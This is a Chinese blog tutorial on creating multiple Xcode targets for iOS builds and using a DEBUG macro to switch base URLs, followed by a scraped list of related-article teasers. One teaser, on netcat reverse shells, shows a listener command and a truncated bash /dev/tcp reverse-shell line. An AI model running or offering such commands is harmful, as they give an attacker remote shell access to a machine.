iOS开发中如何创建多个target
在开发iOS
应用程序的过程中,经常需要根据不同的需求,切换到不同的项目配置,或者打不同的包(测试环境、开发环境、生产环境等等),如果每次都是手动配置,一则比较麻烦,二则容易配置错,那么有没有更好的方案来解决这个问题呢?答案是:有的。我们可以根据不同的需求,创建不同的target
,在不同需求要切换配置或打包时,直接选择对应的target
完成工作,从而提高我们的开发效率。
创建多个target
有两种方式,一种是创建多个info.plist
的配置文件,另一种是拷贝整个工程所需的文件,如:源文件、资源文件、配置文件等等。下面介绍这两种方式的创建过程:
方式一
复制target
首先复制target
,然后在弹出的框中,选择Duplicate Only
,即可复制一个target
修改名字
1.修改target的名字
双击复制出来的target
即可修改名字
2.修改plist名字
把复制出来的*** copy-Info.plist
文件改成其它名字,然后在General
的配置里面,重新选择target
的配置文件
3.修改scheme的名字
选择Manage Schemes...
,然后在目标scheme
上门双击(具体是:单击一下,等3s再单击,如果快速双击,是无法进行名字的修改的),之后修改名字
经过上面的修改,一个新的target
就创建完成,之后我们可以修改Bundle Identifier
、Version
、Team
等,以及资源文件等。
方式二
方式二就简单许多,直接复制工程所需的文件,之后我们可以看到工程的根目录下面,会多出一个文件夹,里面的文件内容和工程是一样的,所以是一个独立的工程空间,包括:源文件、配置文件、资源文件等等。我们在新工程里面的修改不会影响到旧工程。
根据上面的两种方案可以看出,第一种仅仅是创建了一个工程的配置文件,来实现多target的功能;而第二种是完全创建了一个新的工程目录,拷贝了之前的所有文件,之后的修改也不会影响到旧工程了,类似工程的备份功能。
预编译
在同一target
下,我们也会需要不同的配置,如果都在代码里面进行判断,每次都要手动修改,也是比较麻烦的问题。针对这个问题,我们可以用预编译宏来解决。通常,target
里会有一个Debug
模式下的默认的宏:Debug=1
,我们可以继续添加,或者直接使用这个宏来进行不同的配置。
实例代码如下:
#ifdef DEBUG
#define BASE_URL @"https://www.baidu.com"
#else
#define BASE_URL @"https://www.chaoaicai.com"
#endif
通过以上配置,那么以后我们在切换开发和生产模式时,就不同再手动修改base_url
了,是不是感觉爽的飞起。
以上就是针对多target
配置的介绍,如有不足之处,欢迎指出,共同进步。
参考资料
iOS开发中如何创建多个target的更多相关文章
- ios 开发中 动态库 与静态库的区别
使用静态库的好处 1,模块化,分工合作 2,避免少量改动经常导致大量的重复编译连接 3,也可以重用,注意不是共享使用 动态库使用有如下好处: 1使用动态库,可以将最终可执行文件体积缩小 2使用动态库, ...
- iOS开发中 workspace 与 static lib 工程的联合使用
在iOS开发中,其实workspace的使用没有完全发挥出来,最近做了一些研究,也想把之前写过的代码整理下,因为iOS里面的布局方式,交互方式也就那么几种.所以,整理好了之后,更能快捷开发,而且能够形 ...
- 简述 Ruby 与 DSL 在 iOS 开发中的运用
阅读本文不需要预先掌握 Ruby 与 DSL 相关的知识 何为 DSL DSL(Domain Specific Language) 翻译成中文就是:"领域特定语言".首先,从定义就 ...
- 深入理解 iOS 开发中的锁
来源:伯乐在线 - 夏天然后 链接:http://ios.jobbole.com/89474/ 点击 → 申请加入伯乐在线专栏作者 摘要 本文的目的不是介绍 iOS 中各种锁如何使用,一方面笔者没有大 ...
- iOS开发中遇到的一些问题及解决方案【转载】
iOS开发中遇到的一些问题及解决方案[转载] 2015-12-29 [385][scrollView不接受点击事件,是因为事件传递失败] // // MyScrollView.m // Creat ...
- 白话 Ruby 与 DSL 以及在 iOS 开发中的运用
每日一篇优秀博文 2017年10月7日 周六 白话 Ruby 与 DSL 以及在 iOS 开发中的运用 阅读本文不需要预先掌握 Ruby 与 DSL 相关的知识 何为 DSL DSL(Domain S ...
- iOS开发中的单元测试(三)——URLManager中的测试用例解析
本文转载至 http://www.cocoachina.com/cms/plus/view.php?aid=8088 此前,我们在<iOS开发中的单元测试(一)&(二)>中介绍 ...
- 总结iOS开发中的断点续传那些事儿
前言 断点续传概述 断点续传就是从文件赏赐中断的地方重新开始下载或者上传数据,而不是从头文件开始.当下载大文件的时候,如果没有实现断点续传功能,那么每次出现异常或者用户主动的暂停,都会从头下载,这样很 ...
- iOS开发中静态库之".framework静态库"的制作及使用篇
iOS开发中静态库之".framework静态库"的制作及使用篇 .framework静态库支持OC和swift .a静态库如何制作可参照上一篇: iOS开发中静态库之" ...
随机推荐
- 【hibernate 初探】之 关系映射,ORM
从整理上讲,一个ORM框架(以hibernate为例)所涉及内容无非就是,如何映射,如何检索,还有事务处理.所以从这三方面入手,基本上可以保证将hibernate可以用到自己的项目之中.所以我先说一下 ...
- geotrellis使用(二十九)迁移geotrellis至1.1.1版
目录 前言 升级过程 总结 一.前言 由于忙着安装OpenStack等等各种事情,有半年的时间没有再亲密的接触geotrellis,甚至有半年的时间没能畅快的写代码.近来OpenStac ...
- input file 上传图片问题
html代码如下: <input id="fileup" type="file" accept="image/*" capture=& ...
- Mac之OS系统下搭建JavaEE环境 <三> 之Eclipse 与 IntelliJ IDEA 的安装配置
三.Eclipse 与 IntelliJ IDEA 的安装配置 1.Eclipse的安装配置 1 下载eclipse 到官网 https://www.eclipse.org/downloads/ecl ...
- Linux下NC反弹shell命令
本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...
- string can not be resolved
参考:http://jingyan.baidu.com/article/a17d5285339c828099c8f245.html
- 选择、冒泡排序,二分查找法以及一些for循环的灵活运用
import java.util.Arrays;//冒泡排序 public class Test { public static void main(String[] args) { int[] ar ...
- python数据结构链表之单向链表
单向链表 单向链表也叫单链表,是链表中最简单的一种形式,它的每个节点包含两个域,一个信息域(元素域)和一个链接域.这个链接指向链表中的下一个节点,而最后一个节点的链接域则指向一个空值. 表元素域ele ...
- cordova plugin汇总大全
1.获取当前应用的版本号 cordova plugin add cordova-plugin-app-version 2.获取网络连接信息 cordova plugin add cordova-plu ...
- 【css】css3属性
1. 无需区分webkit moz等前缀的css3属性 text-shadow background 2. 需要区分前缀的css属性 border-radius box-shadow text-str ...